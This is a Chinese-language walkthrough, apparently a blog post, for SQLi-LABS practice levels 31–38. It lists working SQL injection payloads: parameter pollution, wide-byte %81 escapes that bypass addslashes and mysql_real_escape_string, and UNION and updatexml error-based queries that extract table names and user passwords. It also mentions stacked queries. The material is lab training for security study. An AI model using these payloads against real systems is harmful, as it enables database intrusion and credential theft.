当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less31-38详细通关攻略

less-31 GET -Blind -IMPIDENCE MISMATCH -Having a WAF in front of web application

一、判断闭合方式

查看源代码可得

?id=1&id=1 ") ;%00

二、构造语句数据库名称

?id=1&id=-1")%0aunion%0aselect%0a1,database(),3;%00

三、构造语句数据表名称

?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

四、构造语句查询列名称

?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

五、构造语句查询数据信息

?id=1&id=-1")%0Aunion%0Aselect%0A1,group_concat(username,password),3%0Afrom%0Ausers;%00

less-32 GET -Bypass -custom filter adding slashes to dangerous chars

一、判断闭合方式

1%81%27%20and%201=1--+
1%81%27%20and%201=2--+

二、判断注入方式

判断闭合方式时,下列输出有反斜杠进行转义,所以我们怎么尝试单引号和双引号都不行,要先对反斜杠进行转义,添加%81。使用宽字节注入和联合注入。

三、构造语句数据库名称

-1%81' union select 1,database(),3 --+

四、构造语句数据表名称

-1%81' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

五、构造语句字段名

-1%81' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

六、查询数据信息

-1%81' union select 1,group_concat(username,password),3 from users --+

less-33 GET -Bypass AddSlashes

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

输入危险字符会有反斜杠进行转义,使用宽字节注入,%81宽字节注入可以成功利用,并根据回显信息可以知道存在报错注入。该关使用报错注入和宽字节注入的方式获取数据

三、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

数据库名直接使用无法找到,使用相关函数确定数据库名称。

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

users无法使用会报错可以使用十六进制编码代替。

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 34 POST - Bypass AddSlashes

一、判断注入方式

该关卡使用的POST请求传参需要我们抓包更改数据。添加特殊敏感符号会进行反斜杠转义,使用宽字节注入使反斜杠失效,可以成功逃逸并且可以得出存在报错注入。

二、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

三、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

四、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

五、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 35 GET Bypass Add Slashes(we dont need them)integer based

一、判断闭合方式

1 and 1=1 --+

二、判断注入方式

根据判断出来的闭合方式为数字型,在尝试闭合方式时存在报错注入的条件可以使用报错注入进行信息的获取

三、构造语句数据库名称

0 and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

0 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

0 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0 and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 36 GET -Bypass MySQL_real_escape_string

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

尝试闭合方式是存在报错注入前提,使用宽字节注入和报错注入联合。

三、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 37 POST -Bypass MySQL-real_escape_string

一、判断注入方式

POST传参,在登录时使用BP进行抓包发送到重放器,修改username字段判断怎么利用。使用特殊字符会被反斜杠转义,%81进行逃逸。并且页面存在报错注入的使用条件,宽字节注入与报错注入联合使用。

二、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

三、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

四、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

五、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 38 Stacked Query

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

这一关为堆叠注入,格式为 第一条语句;第二条语句。这两条为单独的sql语句那么这两天语句均可执行。可以进行增删改的操作。

其他的信息获取语句与前面的报错注入一样就不赘述了。

http://www.xdnf.cn/news/1235503.html

相关文章:

  • Python篇--- Python 的加载、缓存、覆盖机制
  • (FD Conv)Frequency Dynamic Convolution for Dense Image Prediction论文精读(逐段解析)
  • vscode的Remote-SSH插件配置SSH主机方法
  • 构造类型--结构体,共同体联合体,枚举
  • 知识蒸馏 - 基于KL散度的知识蒸馏 HelloWorld 示例 采用PyTorch 内置函数F.kl_div的实现方式
  • 标记-清除算法中的可达性判定与Chrome DevTools内存分析实践
  • Rust: 获取 MAC 地址方法大全
  • webrtv弱网-QualityScalerResource 源码分析及算法原理
  • 集成电路学习:什么是USB HID人机接口设备
  • Hertzbeat如何配置redis?保存在redis的数据是可读数据
  • PostgreSQL面试题及详细答案120道(21-40)
  • 腾讯人脸识别
  • 14.Redis 哨兵 Sentinel
  • C++中多线程和互斥锁的基本使用
  • [硬件电路-148]:数字电路 - 什么是CMOS电平、TTL电平?还有哪些其他电平标准?发展历史?
  • 本地环境vue与springboot联调
  • 2025年6月电子学会青少年软件编程(C语言)等级考试试卷(四级)
  • [硬件电路-143]:模拟电路 - 开关电源与线性稳压电源的详细比较
  • Ubuntu22.4部署大模型前置安装
  • webrtc弱网-QualityScaler 源码分析与算法原理
  • ubuntu apt安装与dpkg安装相互之间的关系
  • (一)全栈(react配置/https支持/useState多组件传递/表单提交/React Query/axois封装/Router)
  • 自动驾驶中的传感器技术18——Camera(9)
  • GitLab 代码管理平台部署及使用
  • Java基本技术讲解
  • PPT自动化 python-pptx - 9: 图表(chart)
  • 决策树学习全解析:从理论到实战
  • 【LeetCode刷题指南】--二叉树的后序遍历,二叉树遍历
  • PPT写作五个境界--仅供学习交流使用
  • 【1】WPF界面开发入门—— 图书馆程序:登录界面设计